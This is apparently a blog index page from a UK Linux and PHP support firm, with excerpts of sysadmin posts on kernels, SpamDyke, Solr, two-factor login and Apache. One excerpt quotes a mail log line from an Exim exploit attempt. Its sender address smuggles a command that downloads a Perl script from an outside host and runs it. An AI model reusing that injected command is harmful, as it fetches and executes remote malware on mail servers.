Linux and PHP web application support and development (Bromsgrove, UK)
Our new, responsive theme for Anorak.co.uk has gone live (caution: the site is probably not “safe for work”). Benefits – Much better layout on mobile devices (e.g. smart phones) which account for 40% of traffic Better navigation support for mobile users (who can’t use normal hover-over menus due to the touch screen UI) Better advert […]
Some time ago, we upgraded a customer’s Debian Lenny Linux server from running a 2.6.26 based kernel to use a 3.2 kernel. It hosts a relatively popular website, and the performance optimisations in the 3.2 kernel (particularly around TCP slow start) have made a big difference to page load times (for more information see this […]
When developing applications, an initial implementation often involves multiple tasks occurring in real time, and in sequence. While this may function well initially, often over time as the system grows, performance issues crop up.
If you’re having spam trouble with qmail [edit – 2019; new fork, qmail.org is offline] based Linux servers (in our customer’s case – Plesk based) then perhaps you need to look at using SpamDyke Installation is pretty easy – wget http://www.spamdyke.org/releases/spamdyke-4.3.0.tgz tar -zxf spamdyke-4.3.0 cd spamdyke-4.3.0/spamdyke ./configure make && cp spamdyke /usr/local/bin Then, assuming qmail is […]
TL;DR version Use Solr as a ‘search engine’ for applications. It is fast. A lot faster than MySQL (at least in one slightly-scientific study we’ve undertaken). Further details below….
Aside from generally getting too much email, today this gem arrived …. Presumably there is/was a vulnerability in Exim. Thankfully this server runs Postfix. Jun 18 23:47:47 xxxx postfix/cleanup[727]: 718FF848036: message-id=<> Jun 18 23:47:47 xxxx postfix/qmgr[1444]: 718FF848036: from=<x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}radioactivefrog.com/.x/exim.txt“perl${IFS}/tmp/p.pl`@blaat.com>, size=206, nrcpt=1 (queue active)
Using Google’s Authenticator, we can change a Debian Linux host to make it require two factor authentication for remote users (or selected users based on name/ip address) as follows.
With the increasing prevalence of virtual machines, cloud servers and so on, performing systems administration is becoming more time consuming (more servers = more work!). One approach at solving this has been through the use of system management tools like puppet, cfengine and chef. In our case, when we’ve looked at these in the past, […]
We and others have sponsored the “kickstarter” campaign for Geary (a new desktop email client for Linux). “Geary is a new email reader for GNOME designed to let you read your email quickly and effortlessly. Its interface is based on conversations, so you can easily read an entire discussion without having to click from message to […]
When using Apache to host websites, developers tend to either have one configuration file with multiple sites defined within in it (often /etc/httpd/httpd.conf or similar), or end up dealing with a swarm of separate files in /etc/apache2/sites-available – one per domain. If all the domains are identical, in terms of file structure – apart from […]